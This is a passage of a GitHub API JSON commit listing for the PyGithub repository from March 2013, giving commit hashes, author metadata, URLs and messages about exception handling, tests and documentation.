thub.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"4df3a7eb47888f38c4c6dae50573f030a0a3f1e1","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4df3a7eb47888f38c4c6dae50573f030a0a3f1e1","html_url":"https://github.com/PyGithub/PyGithub/commit/4df3a7eb47888f38c4c6dae50573f030a0a3f1e1"}]},{"sha":"dff094650011398fd8f0a57bf2668a066fb2cbcb","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-29T12:16:57Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-29T12:16:57Z"},"message":"Add a documentation note about exceptions","tree":{"sha":"1e86ab9f72610891a1f05220dc3559dc351d8af3","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/1e86ab9f72610891a1f05220dc3559dc351d8af3"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/dff094650011398fd8f0a57bf2668a066fb2cbcb","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/dff094650011398fd8f0a57bf2668a066fb2cbcb","html_url":"https://github.com/PyGithub/PyGithub/commit/dff094650011398fd8f0a57bf2668a066fb2cbcb","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/dff094650011398fd8f0a57bf2668a066fb2cbcb/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"c1d747a9133a1c6cae1f0e11105a5f490f65fda6","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/c1d747a9133a1c6cae1f0e11105a5f490f65fda6","html_url":"https://github.com/PyGithub/PyGithub/commit/c1d747a9133a1c6cae1f0e11105a5f490f65fda6"}]},{"sha":"c1d747a9133a1c6cae1f0e11105a5f490f65fda6","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-29T12:13:44Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-29T12:13:44Z"},"message":"Refactor tests\n\nWe don't need to inspect the exception, so we can use\nunittest.TestCase.assertRaises","tree":{"sha":"fe7b963f4044724abbad0bf21f3291b81c0f6f87","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/fe7b963f4044724abbad0bf21f3291b81c0f6f87"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/c1d747a9133a1c6cae1f0e11105a5f490f65fda6","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/c1d747a9133a1c6cae1f0e11105a5f490f65fda6","html_url":"https://github.com/PyGithub/PyGithub/commit/c1d747a9133a1c6cae1f0e11105a5f490f65fda6","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/c1d747a9133a1c6cae1f0e11105a5f490f65fda6/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"0bc368973acfb50a531329b6c196ba92e0a81890","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0bc368973acfb50a531329b6c196ba92e0a81890","html_url":"https://github.com/PyGithub/PyGithub/commit/0bc368973acfb50a531329b6c196ba92e0a81890"}]},{"sha":"0bc368973acfb50a531329b6c196ba92e0a81890","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-29T12:10:59Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-29T12:10:59Z"},"message":"Raise a specific exception for non-existing objects (issue #152)","tree":{"sha":"166135287f1879ea4f27bc8bd5a7cba17ad01dfc","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/166135287f1879ea4f27bc8bd5a7cba17ad01dfc"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/0bc368973acfb50a531329b6c196ba92e0a81890","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0bc368973acfb50a531329b6c196ba92e0a81890","html_url":"https://github.com/PyGithub/PyGithub/commit/0bc368973acfb50a531329b6c196ba92e0a81890","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0bc368973acfb50a531329b6c196ba92e0a81890/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"7b3e4c15ed6182963d66ffa9f0522acd0765275c","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/7b3e4c15ed6182963d66ffa9f0522acd0765275c","html_url":"https://github.com/PyGithub/PyGithub/commit/7b3e4c15ed6182963d66ffa9f0522acd0765275c"}]},{"sha":"7b3e4c15ed6182963d66ffa9f0522acd0765275c","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-29T12:01:06Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-29T12:01:06Z"},"message":"Raise a specific exception for bad credentials (issue #152)","tree":{"sha":"1d4d6301b3d0205617af9a8b187a63c80dde5e15","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/1d4d6301b3d0205617af9a8b187a63c80dde5e15"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/7b3e4c15ed6182963d66ffa9f0522acd0765275c","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/7b3e4c15ed6182963d66ffa9f0522acd0765275c","html_url":"https://github.com/PyGithub/PyGithub/commit/7b3e4c15ed6182963d66ffa9f0522acd0765275c","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/7b3e4c15ed6182963d66ffa9f0522acd0765275c/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"f5d8e221d116b74a200d87afca32247f01204ba1","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/f5d8e221d116b74a200d87afca32247f01204ba1","html_url":"https://github.com/PyGithub/PyGithub/commit/f5d8e221d116b74a200d87afca32247f01204ba1"}]},{"sha":"4df3a7eb47888f38c4c6dae50573f030a0a3f1e1","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-28T20:52:49Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-28T20:52:49Z"},"message":"Merge branch 'topic/CheckPragmaNoCover' into develop","tree":{"sha":"5c319c58976c6a69cbb0f182fdfd5ec976beb218","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/5c319c58976c6a69cbb0f182fdfd5ec976beb218"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/4df3a7eb47888f38c4c6dae50573f030a0a3f1e1","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4df3a7eb47888f38c4c6dae50573f030a0a3f1e1","html_url":"https://github.com/PyGithub/PyGithub/commit/4df3a7eb47888f38c4c6dae50573f030a0a3f1e1","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4df3a7eb47888f38c4c6dae50573f030a0a3f1e1/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"dc96fef052f2b5c6adb34da65169e8df3f35f611","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/dc96fef052f2b5c6adb34da65169e8df3f35f611","html_url":"https://github.com/PyGithub/PyGithub/commit/dc96fef052f2b5c6adb34da65169e8df3f35f611"},{"sha":"e0db8cad4ec01c65e5e0eb50e11765e425e88ef9","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e0db8cad4ec01c65e5e0eb50e11765e425e88ef9","html_url":"https://github.com/PyGithub/PyGithub/commit/e0db8cad4ec01c65e5e0eb50e11765e425e88ef9"}]},{"sha":"e0db8cad4ec01c65e5e0eb50e11765e425e88ef9","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-28T20:51:02Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-28T20:51:02Z"},"message":"pep8","tree":{"sha":"5c319c58976c6a69cbb0f182fdfd5ec976beb218","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/5c319c58976c6a69cbb0f182fdfd5ec976beb218"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/e0db8cad4ec01c65e5e0eb50e11765e425e88ef9","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e0db8cad4ec01c65e5e0eb50e11765e425e88ef9","html_url":"https://github.com/PyGithub/PyGithub/commit/e0db8cad4ec01c65e5e0eb50e11765e425e88ef9","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e0db8cad4ec01c65e5e0eb50e11765e425e88ef9/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"1c47be4e895b823baf907b25c647e43ab63c16dd","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1c47be4e895b823baf907b25c647e43ab63c16dd","html_url":"https://github.com/PyGithub/PyGithub/commit/1c47be4e895b823baf907b25c647e43ab63c16dd"}]},{"sha":"1c47be4e895b823baf907b25c647e43ab63c16dd","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-28T20:50:17Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-28T20:50:17Z"},"message":"Document `#pragma no cover`s (Issue #154)","tree":{"sha":"62a4201d09fcf3c4c528a1b91ba4aa74cb66e8f6","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/62a4201d09fcf3c4c528a1b91ba4aa74cb66e8f6"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/1c47be4e895b823baf907b25c647e43ab63c16dd","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1c47be4e895b823baf907b25c647e43ab63c16dd","html_url":"https://github.com/PyGithub/PyGithub/commit/1c47be4e895b823baf907b25c647e43ab63c16dd","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1c47be4e895b823baf907b25c647e43ab63c16dd/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"8a9afbb1aa36c6ba04142c6e6c1cfbd7de982a6a","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/8a9afbb1aa36c6ba04142c6e6c1cfbd7de982a6a","html_url":"https://github.com/PyGithub/PyGithub/commit/8a9afbb1aa36c6ba04142c6e6c1cfbd7de982a6a"}]},{"sha":"8a9afbb1aa36c6ba04142c6e6c1cfbd7de982a6a","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-28T20:49:39Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-28T20:49:39Z"},"message":"Remove branches for hypothetical unknown Authorization headers","tree":{"sha":"4f9e93f7e2b6a84809d22ca1d974e76ce54e3156","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/4f9e93f7e2b6a84809d22ca1d974e76ce54e3156"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/8a9afbb1aa36c6ba04142c6e6c1cfbd7de982a6a","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/8a9afbb1aa36c6ba04142c6e6c1cfbd7de982a6a","html_url":"https://github.com/PyGithub/PyGithub/commit/8a9afbb1aa36c6ba04142c6e6c1cfbd7de982a6a","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/8a9afbb1aa36c6ba04142c6e6c1cfbd7de982a6a/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"1c67359a318f05e50bf457818e1983ce95aa5946","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1c67359a318f05e50bf457818e1983ce95aa5946","html_url":"https://github.com/PyGithub/PyGithub/commit/1c67359a318f05e50bf457818e1983ce95aa5946"}]},{"sha":"1c67359a318f05e50bf457818e1983ce95aa5946","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-28T20:28:01Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-28T20:28:01Z"},"message":"Improve test coverage a bit","tree":{"sha":"f22617e135ef910c5caf6ba34874d3ffa5b46e4c","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/f22617e135ef910c5caf6ba34874d3ffa5b46e4c"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/1c67359a318f05e50bf457818e1983ce95aa5946","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1c67359a318f05e50bf457818e1983ce95aa5946","html_url":"https://github.com/PyGithub/PyGithub/commit/1c67359a318f05e50bf457818e1983ce95aa5946","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1c67359a318f05e50bf457818e1983ce95aa5946/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"1d18bd66f3a4a4225435bd38df04b8a227b5e821","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1d18bd66f3a4a4225435bd38df04b8a227b5e821","html_url":"https://github.com/PyGithub/PyGithub/commit/1d18bd66f3a4a4225435bd38df04b8a227b5e821"}]},{"sha":"1d18bd66f3a4a4225435bd38df04b8a227b5e821","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-28T20:23:03Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-28T20:23:03Z"},"message":"Add a test that would have caught 